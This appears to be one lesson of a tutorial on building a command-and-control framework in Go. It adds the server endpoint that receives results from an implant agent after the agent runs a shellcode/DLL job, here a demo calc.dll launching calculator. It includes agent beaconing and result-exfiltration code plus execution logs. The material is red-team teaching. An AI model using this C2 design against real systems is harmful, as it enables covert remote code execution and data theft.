Lesson 21: Server Receives Results
Solutions
- Starting Code: lesson_21_begin
- Completed Code: lesson_21_end
Overview
We’ve successfully executed shellcode on the agent, and the agent is sending results back to the server. However, the server doesn’t have an endpoint to receive and display these results yet.
In this lesson, we’ll:
- Create the
/resultsendpoint on the server - Implement a handler to receive and parse results
- Display success/failure messages with job correlation
- Test the complete round-trip flow
This completes the feedback loop - we can now send commands, execute them, and see the results!
What We’ll Create
/resultsPOST endpoint inserver.goResultHandlerfunction to process incoming results- Logic to unmarshal and display command-specific results
Review What We Have
In Lesson 17, we created SendResult() on the agent side:
// SendResult performs a POST request to send task results back to server
func (agent *HTTPSAgent) SendResult(resultData []byte) error {
targetURL := fmt.Sprintf("https://%s/results", agent.serverAddr)
log.Printf("|RETURN RESULTS|-> Sending %d bytes of results via POST to %s", len(resultData), targetURL)
// Create the HTTP POST request
req, err := http.NewRequest(http.MethodPost, targetURL, bytes.NewReader(resultData))
if err != nil {
log.Printf("|ERR SendResult| Failed to create results request: %v", err)
return fmt.Errorf("failed to create http results request: %w", err)
}
// Set the headers
req.Header.Set("Content-Type", "application/json")
// Execute the request
resp, err := agent.client.Do(req)
if err != nil {
log.Printf("|ERR | Results POST request failed: %v", err)
return fmt.Errorf("http results post request failed: %w", err)
}
defer resp.Body.Close() // Close body even if we don't read it, to release resources
log.Printf("SUCCESSFULLY SENT FINAL RESULTS BACK TO SERVER.")
return nil
} This sends a POST request to /results with the AgentTaskResult marshaled as JSON.
What’s being sent:
{
"job_id": "job_123456",
"success": true,
"command_result": ""DLL loaded and export 'LaunchCalc' called successfully."",
"error": null
} Now we need to receive and display this on the server.
Add the Results Endpoint
First, let’s register the endpoint in the server’s Start() method. Update server/server_https.go:
// Start implements Server.Start for HTTPS
func (s *HTTPSServer) Start() error {
// Create Chi router
r := chi.NewRouter()
// Define our GET endpoint
r.Get("/", RootHandler)
// Define our POST endpoint for results
r.Post("/results", ResultHandler) // NEW
// Create the HTTP server
s.server = &http.Server{
Addr: s.addr,
Handler: r,
}
// Start the server
return s.server.ListenAndServeTLS(s.tlsCert, s.tlsKey)
} What we added:
r.Post("/results", ResultHandler) This registers a POST endpoint at /results that calls ResultHandler when hit.
Implement ResultHandler
Now let’s create the handler function. Add this to server/server_https.go:
// ResultHandler receives and displays the result from the Agent
func ResultHandler(w http.ResponseWriter, r *http.Request) {
log.Printf("Endpoint %s has been hit by agent\n", r.URL.Path)
var result models.AgentTaskResult
// Decode the incoming result
if err := json.NewDecoder(r.Body).Decode(&result); err != nil {
log.Printf("ERROR: Failed to decode JSON: %v", err)
w.WriteHeader(http.StatusBadRequest)
json.NewEncoder(w).Encode("error decoding JSON")
return
}
// Unmarshal the CommandResult to get the actual message string
var messageStr string
if len(result.CommandResult) > 0 {
if err := json.Unmarshal(result.CommandResult, &messageStr); err != nil {
log.Printf("ERROR: Failed to unmarshal CommandResult: %v", err)
messageStr = string(result.CommandResult) // Fallback to raw bytes as string
}
}
if !result.Success {
log.Printf("Job (ID: %s) has failed\nMessage: %s\nError: %v", result.JobID, messageStr, result.Error)
} else {
log.Printf("Job (ID: %s) has succeeded\nMessage: %s", result.JobID, messageStr)
}
} Let’s break this down step by step:
Step 1: Log the Request
log.Printf("Endpoint %s has been hit by agent\n", r.URL.Path) What it does: Simple visibility - we know the agent contacted the results endpoint.
Step 2: Decode the Result
var result models.AgentTaskResult
// Decode the incoming result
if err := json.NewDecoder(r.Body).Decode(&result); err != nil {
log.Printf("ERROR: Failed to decode JSON: %v", err)
w.WriteHeader(http.StatusBadRequest)
json.NewEncoder(w).Encode("error decoding JSON")
return
} What it does:
- Create an empty
AgentTaskResultstruct - Decode the JSON from the request body into the struct
- If decoding fails (corrupted data, wrong format), log the error and return 400
Why this matters: The agent sends JSON, and we need to parse it into our typed struct to access the fields.
Step 3: Unmarshal CommandResult
// Unmarshal the CommandResult to get the actual message string
var messageStr string
if len(result.CommandResult) > 0 {
if err := json.Unmarshal(result.CommandResult, &messageStr); err != nil {
log.Printf("ERROR: Failed to unmarshal CommandResult: %v", err)
messageStr = string(result.CommandResult) // Fallback to raw bytes as string
}
} Understanding the problem:
Remember that CommandResult is json.RawMessage (raw JSON bytes). Different commands have different result structures:
- Shellcode: Just a message string
- Download: Might be
{"filename": "data.txt", "size": 1024} - Shell command: Might be
{"stdout": "...", "stderr": "..."}
For our shellcode command, the orchestrator did this:
outputJSON, _ := json.Marshal(string(shellcodeResult.Message))
finalResult.CommandResult = outputJSON So CommandResult contains: "\"DLL loaded and export 'LaunchCalc' called successfully.\""
That’s a JSON-encoded string, so we need to unmarshal it to get the actual string value.
What the code does:
- Check if
CommandResulthas data - Try to unmarshal it into a string
- If unmarshaling fails, fall back to converting the raw bytes to a string
- Store the result in
messageStr
Why the fallback? If the result format changes or is unexpected, we still get something readable rather than failing completely.
Step 4: Display the Result
if !result.Success {
log.Printf("Job (ID: %s) has failed\nMessage: %s\nError: %v", result.JobID, messageStr, result.Error)
} else {
log.Printf("Job (ID: %s) has succeeded\nMessage: %s", result.JobID, messageStr)
} Check success status:
if !result.Success If the command failed, we display the failure message.
Display failure:
log.Printf("Job (ID: %s) has failed\nMessage: %s\nError: %v", result.JobID, messageStr, result.Error) Shows:
- The job ID (for correlation with the dispatched command)
- The message from the doer
- The error that occurred
Display success:
log.Printf("Job (ID: %s) has succeeded\nMessage: %s", result.JobID, messageStr) Shows:
- The job ID
- The success message from the doer
Why job ID matters: When you have multiple commands in flight, the job ID lets you correlate results with the specific command that was dispatched.
Test the Complete Flow
Now we can test the entire round-trip!
Step 1: Start the server
go run ./cmd/server Expected output:
2025/11/07 13:53:52 Starting Control API on :8080
2025/11/07 13:53:52 Starting server on 0.0.0.0:8443 Step 2: Queue a command
curl -X POST http://localhost:8080/command
-d '{
"command": "shellcode",
"data": {
"file_path": "./payloads/calc.dll",
"export_name": "LaunchCalc"
}
}' Expected client response:
"Received command: shellcode" Expected server output:
2025/11/07 13:53:57 Received command: shellcode
2025/11/07 13:53:57 Validation passed: file_path=./payloads/calc.dll, export_name=LaunchCalc
2025/11/07 13:53:57 Processed file: ./payloads/calc.dll (111493 bytes) -> base64 (148660 chars)
2025/11/07 13:53:57 Processed command arguments: shellcode
2025/11/07 13:53:57 QUEUED: shellcode Step 3: Run the agent (on Windows)
.agent.exe Expected agent output (abbreviated):
2025/11/07 13:54:03 Job received from Server
-> Command: shellcode
-> JobID: job_543370
2025/11/07 13:54:03 AGENT IS NOW PROCESSING COMMAND shellcode with ID job_543370
2025/11/07 13:54:03 |SHELLCODE ORCHESTRATOR| Task ID: job_543370...
[... execution logs ...]
2025/11/07 13:54:03 |SHELLCODE SUCCESS| Shellcode execution initiated successfully...
2025/11/07 13:54:03 |AGENT TASK|-> Sending result for Task ID job_543370 (114 bytes)...
2025/11/07 13:54:03 SUCCESSFULLY SENT FINAL RESULTS BACK TO SERVER. Step 4: Check the server
NEW: Expected server output (results received):
2025/11/07 13:54:03 Endpoint / has been hit by agent
2025/11/07 13:54:03 DEQUEUED: Command 'shellcode'
2025/11/07 13:54:03 Sending command to agent: shellcode
2025/11/07 13:54:03 Job ID: job_543370
2025/11/07 13:54:03 Endpoint /results has been hit by agent
2025/11/07 13:54:03 Job (ID: job_543370) has succeeded
Message: DLL loaded and export 'LaunchCalc' called successfully. Analyzing the complete flow:
- Operator queues command via curl
- Server validates, processes, queues
- Agent checks in, receives command
- Agent executes shellcode (calc.exe launches)
- Agent sends results to server
- Server receives and displays results (NEW!)
The loop is complete!
Understanding the Complete Data Flow
Let’s trace a single command through the entire system:
COMPLETE COMMAND & CONTROL FLOW
1. Operator -> Server (curl)
POST /command
{
"command": "shellcode",
"data": {
"file_path": "./payloads/calc.dll",
"export_name": "LaunchCalc"
}
}
2. Server Processing
|-- Validate: "shellcode" exists
|-- Validate: file exists, export name present
|-- Process: Read DLL, convert to base64
|-- Queue: Add to AgentCommands queue
3. Agent -> Server (periodic check-in)
GET /
4. Server -> Agent (if command in queue)
{
"job": true,
"job_id": "job_543370",
"command": "shellcode",
"data": {
"shellcode_base64": "TVqQAAMAAAAEAAAA...",
"export_name": "LaunchCalc"
}
}
5. Agent Processing
|-- ExecuteTask: Route to orchestrateShellcode
|-- Orchestrator: Validate, decode base64
|-- Doer: Load DLL, resolve imports, call export
|-- Build result: {job_id, success, message, error}
6. Agent -> Server (results)
POST /results
{
"job_id": "job_543370",
"success": true,
"command_result": ""DLL loaded..."",
"error": null
}
7. Server Display (WE ARE HERE)
Log: "Job (ID: job_543370) has succeeded
Message: DLL loaded and export 'LaunchCalc' called successfully." Conclusion
In this lesson, we’ve completed the feedback loop:
- Created the
/resultsPOST endpoint - Implemented
ResultHandlerto receive and parse results - Extracted and displayed command-specific messages
- Handled both success and failure cases
- Tested the complete round-trip flow
Our system is now complete:
- Receive and validate commands
- Process arguments
- Queue commands
- Send to agents
- Execute on agents
- Receive and display results (NEW!)
We have a fully functional command and control system! In the next lesson, we’ll add a new command to demonstrate how easy our architecture makes extension.